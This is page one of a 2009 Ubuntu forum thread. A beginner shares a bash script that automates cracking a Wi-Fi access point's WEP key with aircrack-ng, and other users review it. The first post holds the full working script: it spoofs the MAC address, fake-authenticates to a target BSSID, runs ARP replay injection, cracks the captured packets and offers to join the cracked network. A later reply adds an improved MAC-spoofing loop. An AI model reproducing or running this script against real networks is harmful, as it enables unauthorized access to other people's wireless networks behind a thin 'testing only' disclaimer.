Page 1 of 2 12 LastLast
Results 1 to 10 of 20

Thread: Please test my first BASH script for aircrack-ng.

  1. #1
    Join Date
    Jan 2009
    Beans
    89
    Distro
    Ubuntu 9.04 Jaunty Jackalope

    Post Please test my first BASH script for aircrack-ng.

    Ok, this is my first bash script and I want to know: bugs, feedback, info. This is for aircrack-ng and makes it increduably easy. Any comments would be appreciated. Thank You!



    Code:
    #!/bin/bash 
    ##########################################
    ##########################################
    ######## This script was created  ########
    ######## for testing purpose's on ########
    ######## -ly. Other purpose's are ########
    ######## Illegal.                 ########
    ######## You MUST set kismet to u ########
    ######## -se mon0 as the interfa  ########
    ######## -ce. This is a front end ########
    ######## of Aircrack-ng. To find  ########
    ######## out more about aircrac   ########
    ######## -k-ng go to :            ########
    ########      aircrack-ng.org .   ########
    ########      Created by Dub-T.   ########
    ##########################################
    ##########################################
    #
    #
    #Kills the processes that may use your adapter.
    sudo killall NetworkManager && sudo killall NetworkManagerDispatcher && killall wpa_supplicant
    clear
    #Stores your adapter to a variable: interface
    read -p "Enter the Interface you would like to use : " interface
    echo ""
    clear
    #Starts the adapter in monitor mode just in case you want to run kismet.
    sudo airmon-ng start $interface
    clear
    #Ask you if you would like to run kismet, and if so stores your answer to a variable: kismetm
    read -p "Would you like to run kismet to find a network to crack, and/or a client to fake your MAC Address? y/n : " kismetm
    echo ""
    #If the variable kismetm equals y, the script will run kismet.
       if [ $kismetm = y ]
                     then clear && sudo xterm -e "kismet" &
                     else clear && echo "Continuing...
                     "
       fi
    clear
    #Stores your desired transmission rate to a variable: rate
    read -p "Enter the Transmission Rate would you like to set your interface 1M, 2M, 5.5M, 6M, 9M, 11M, 12M, 18M, 24M, 36M, 48M, 54M : " rate
    echo ""
    clear
    #Ask you if you would like to change your interfaces mac address, and if so stores your answer to a variable: macset
    read -p "Would you like to change your Wi-Fi card's MAC Address? y/n : " macset
    echo ""
    #If the variable macset equals y, the script will ask if you would like a random mac address, and if so stores your answer to a variable: ramac
       if [ $macset = y ]
                     then clear && read -p "Would you like a random MAC? y/n : " ramac
                     else clear && echo "Continuing...
                      "
       fi
    #If the variable ramac equals y, the script will change your wifi cards mac address at random.
       if [ $ramac = y ]
                     then sudo ifconfig mon0 down && sudo macchanger -r $interface && sudo macchanger -r mon0 && ifconfig mon0 up
       fi
    clear
    #This displays your mac address from your interface so you can confirm it.
    sudo macchanger -s mon0
    echo "
    "
    #This will ask for your confirmation on your mac address, and if you wish to change it will store it to a variable: hmac
    read -p "Please confirm MAC Address even if you did not change it or if you would like to. If you do not wish to change your MAC Address, just confirm the MAC Address above. : " hmac
    echo ""
    clear
    #This reads the variable ramac and if n with change your interface to the desired mac address.
       if [ $ramac = n ]
                     then sudo ifconfig mon0 down && sudo macchanger -m $hmac $interface && sudo macchanger -m $hmac mon0 && sudo ifconfig mon0 up
       fi
    clear
    #This sets your wifi cards mac address to the mac address of airmon-ng's mon0.
       if [ $macset = n ]
                     then sudo macchanger -m $hmac $interface && sudo macchanger $hmac mon0
       fi
    clear
    #This sets your wifi card to the transmission rate you want.
    sudo iwconfig $interface rate $rate
    clear
    #This next lines of commands ask for the necessary information about your access point.  
    read -p "Enter the Wi-Fi Access Points MAC Address : " mac
    echo ""
    clear
    read -p "Enter the Wi-Fi Access Points SSID : " ssid
    echo ""
    clear
    read -p "Enter the Wi-Fi Access Points Channel : " channel
    clear
    #This will verify the info you have just typed, and will ask you if it's correct. This will then store it to a variable: start
    echo "Is this correct? : Interface: $interface , Transmission Rate: $rate , Wi-Fi AP's MAC: $mac , SSID: $ssid , Channel: $channel ,  Wi-Fi Card's MAC: $hmac"
    read -p "y/n : " start
    echo ""
    #This will read variable start and if y will continue. If the variable start is no, it will reset your wifi card and start over.
       if [ $start = y ]
                     then echo "Starting..."
                     else sudo airmon-ng stop mon0 && sudo killall xterm && sudo killall kismet && sudo iwconfig $interface rate 54M && bash Aircrack-ng.sh
       fi
    clear
    #This will close the kismet window.
    sudo killall xterm
    clear
    #The next two lines will stop your wifi card and kill kismet to save cpu power for the cracking process. It will then start your wifi card in monitor mode and with the desired channel.
    sudo airmon-ng stop mon0 && sudo killall kismet
    sudo airmon-ng start $interface $channel
    clear
    #This will start airodump-ng on the right channel and target the access point you desire.
    sudo xterm -hold -e "airodump-ng -c $channel --bssid $mac -w output mon0"  &
    echo "Starting Injections...
    "
    #The next two lines will set your card on the channel you desire and try to fake authenticate you on the network you wish to crack.
    sudo iwconfig $interface channel $channel
    sudo aireplay-ng -1 0 -e "$ssid" -a $mac -h $hmac mon0
    echo "
    
    "
    #This will start requesting arp request at an average of 500 packets per second.
    sudo xterm -hold -e "sudo  aireplay-ng -3 -b $mac -h $hmac mon0"  &
    #If the above authorization fails, you can choose to start a more direct authorization. It will then store your answer to variable: ivs
    read -p "Would you like to keep Re-autherizing yourself? (If you stop receiving IV's) y/n : " ivs
    echo ""
    #This will read variable ivs and if y will open a new window and start fake authorizing you as client.
       if [ $ivs = y ]
                     then clear && sudo xterm -hold -e "aireplay-ng -1 6000 -o 1 -q 10 -e "$ssid" -a $mac -h $hmac mon0"  &
                     else clear && echo "Continuing...
                     "
       fi
    #This will ask you if you would like run aircrack-ng. It then stores your answer to variable: aircrack
    read -p "Run Aircrack-ng? y/n : " aircrack
    echo ""
    #This will read variable aircrack and if y will launch aircrack.
       if [ $aircrack = y ]
                     then clear && sudo xterm -hold -e "aircrack-ng -z output*.cap"  &
                     else clear
       fi
    #This will ask you if you would like to stop your cracking and store your answer to variable: connect
    read -p "Would you like to connect to the Wi-Fi AP you just cracked? y/n : " connect
    echo ""
    #This will read variable connect and if y will stop cracking and start networkmanager for connecting to the network you cracked. If no it will stop cracking.
       if [ $connect = y ]
                     then sudo airmon-ng stop mon0 && sudo NetworkManager && sudo iwconfig $interface rate 54M && sudo killall kismet && sudo killall xterm && echo "Starting NetworkManager..."
                     else sudo airmon-ng stop mon0 && sudo killall xterm && sudo killall kismet && sudo iwconfig $interface rate 54M && exit
       fi
    Attached Files Attached Files
    Last edited by taylor102387; April 11th, 2009 at 05:14 PM. Reason: Revising the script.
    Custom i7 machine with netbook

  2. #2
    Join Date
    May 2007
    Location
    Washington, DC
    Beans
    97
    Distro
    Ubuntu Development Release

    Re: Please test my first BASH script for aircrack-ng.

    Illegal is misspelled. And consider reelasing the finished script under a free license

    Some lines like
    Code:
    sudo xterm -hold -e "sudo airodump-ng -c $channel --bssid $mac -w output mon0"  &
    have redundancy, if you're running xterm as root then all its subprocesses are running as root.

    What happens if your sudo cookie expires before the script is done? You probably should just say "please run this script as root" rather than using sudo inside the script itself.

    What happens if I enter something invalid to the prompts, such as "yes"? Shouldn't it loop back in that case?

    Other than that, looks good.
    This APT has Super Cow Powers.

  3. #3
    Join Date
    Jan 2009
    Beans
    89
    Distro
    Ubuntu 9.04 Jaunty Jackalope

    Wink Re: Please test my first BASH script for aircrack-ng.

    Thanks, I can't spell worth crap. And as far as the sudo in xterm, thanks that will save me some space. But a question about a free licence, how do I create a project licence. If you would please point me in the right direction. Thanks!
    Custom i7 machine with netbook

  4. #4
    Join Date
    May 2007
    Location
    Washington, DC
    Beans
    97
    Distro
    Ubuntu Development Release

    Re: Please test my first BASH script for aircrack-ng.

    Quote Originally Posted by taylor102387 View Post
    Thanks, I can't spell worth crap. And as far as the sudo in xterm, thanks that will save me some space. But a question about a free licence, how do I create a project licence. If you would please point me in the right direction. Thanks!
    Creating your own license is discouraged, you are bound (as are all of us without law degrees) to make legal errors.

    Instead, I recommend reading through these licenses and choosing the one you like best:
    * GNU General Public License: full text, summary
    * MIT License
    * BSD License


    edit: also there's my personal favorite, the WTFPL.
    Last edited by lfaraone; April 11th, 2009 at 05:17 PM.
    This APT has Super Cow Powers.

  5. #5
    Join Date
    Jan 2009
    Beans
    89
    Distro
    Ubuntu 9.04 Jaunty Jackalope

    Re: Please test my first BASH script for aircrack-ng.

    OK, I just made a project in google code! Took me about 30 min. The use the GNU License so now I dont have to worry!
    Custom i7 machine with netbook

  6. #6
    Join Date
    Jan 2009
    Beans
    89
    Distro
    Ubuntu 9.04 Jaunty Jackalope

    Wink Re: Please test my first BASH script for aircrack-ng.

    Ok, im pretty much done. My code is at:

    http://code.google.com/p/aircrack-ng-bash-script/
    Custom i7 machine with netbook

  7. #7
    Join Date
    Apr 2009
    Location
    blackwood, nj
    Beans
    20
    Distro
    Ubuntu 9.04 Jaunty Jackalope

    Re: Please test my first BASH script for aircrack-ng.

    i put together my own script really fast and looked around for help from someone elses and yours is really awsome.

    i have a couple of questions/theory:

    1.)what is kismet? does it give greater functionality? i successfully use rtl8187 as wlan1.

    2.)ive never had to change my rate, having the option there is cool though. what's the theory behind rate change?

    3.)as far as i can tell, the essid is not required.

    4.)the bssid/channel confirmation could be formatted better.
    \n
    newline
    Adding blank lines to text

    \t
    tab
    Inserting horizontal tabs to text

    programming comments:

    1.)like the other guy said, if you take all sudo out does it still work properly?

    2.)kismet doesnt work for me so i changed the first access point display to
    Code:
    xterm -hold -e "airodump-ng $interface"
    3.)the MAC section is a bit confusing.


    overall the script is really awsome. i hope you keep with it and keep adding fuctionality.
    Last edited by dafuzzbudd; May 19th, 2009 at 05:05 PM.

  8. #8
    Join Date
    Jan 2009
    Beans
    89
    Distro
    Ubuntu 9.04 Jaunty Jackalope

    Re: Please test my first BASH script for aircrack-ng.

    Here are answers/questions

    1. Kismet is just a cool wardiving (wifi scaner app) that can gather TONS of info about an access point. And it's easy for me to use this instead of airodump-ng. Also, to use Kismet in the script, you must change your source to mon0 for it to cooperate.

    2. The theory behind the rate change is that if you are too close to a access point, and you start resending APR request, the access point cant recive/send alot of packets per second and will crash/not respond. This way, if you know how close you are, you can change your rate to avoid this. The closer you are, the lower rate. The farther, the higher.

    3. The essid may not be required, but I think it has a huge play on the swiftness of the script, and you may not be able to fake ath yourself if you dont know the essid. Also, after you crack the network you cant connect without supplying the essid, so you need to know it anyway. (On a side note, kismet can figure out the essid if it captured enough packets from the access point. So another bonus for kismet and not airodump-ng!)

    4. Thanks for the tip, I need to put this in the updated version!

    1a. Yes, I was just starting to script so I made a minor mistake.

    2a. look at #1 for setting up kismet.

    3a. I know, I dont know a way around this, im just surprised this works as well as it did, even if it is confusing!


    Thanks for the suggestions, I am working on a version 0.2, and it still has a couple of bugs, but will be out shortly.


    0.2 Features:

    1. I will add a couple lines to create a folder so your/my desktop will stop filling up with .cap's.

    2. Will TRY to know how far the computer is away from the access point to set up a good rate. (But this involes math, and I still am a COMPLEATE BEGGINER. so if you could point me in the right direction, I would appreciate it.)

    3.MAYBE an improvment on the "MAC" section.
    Custom i7 machine with netbook

  9. #9
    Join Date
    Apr 2009
    Location
    blackwood, nj
    Beans
    20
    Distro
    Ubuntu 9.04 Jaunty Jackalope

    Re: Please test my first BASH script for aircrack-ng.

    kismet sounds useful, im gonna check it out. i like to keep installed packages to a minimum but ill see.

    im a complete beginner too. ill think about the Mac section, it works but im not sure i fully understand how it works yet.

  10. #10
    Join Date
    Apr 2009
    Location
    blackwood, nj
    Beans
    20
    Distro
    Ubuntu 9.04 Jaunty Jackalope

    Re: Please test my first BASH script for aircrack-ng.

    tested and now works as supposed to. you'll have to add back in the mon0 code lines

    Code:
    verifymac="n"
    #Loop to verify correct MAC
    until [ $verifymac = y ]; do
    	#Displays MAC and asks customer if they want to change it
    	sudo macchanger -s $interface
    	echo ""
    	read -p "Would you like a random MAC? y/n : " ramac
            #If the variable ramac equals y, the script will change your wifi cards mac address at random.
       	if [ $ramac = y ]
               	then clear && sudo ifconfig $interface down && sudo macchanger -r $interface && ifconfig $interface up
    	fi
    	#Will display current MAC and ask user to enter it as $hmac
    	#sudo macchanger -s $interface
    	echo ""
    	read -p "Please enter MAC to use: " hmac
    	echo ""
    	sudo ifconfig $interface down && sudo macchanger -m $hmac $interface  && 
    	sudo ifconfig $interface up && sudo macchanger $hmac $interface
    	clear
    
    	#After MAC change is done, question to exit MAC loop
    	sudo macchanger -s $interface
    	echo ""
    	read -p "Are you ohk with MAC? (y/n) : " verifymac
    	clear
    done
    Last edited by dafuzzbudd; May 20th, 2009 at 06:42 PM. Reason: submitted fixed code

Page 1 of 2 12 LastLast

Tags for this Thread

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •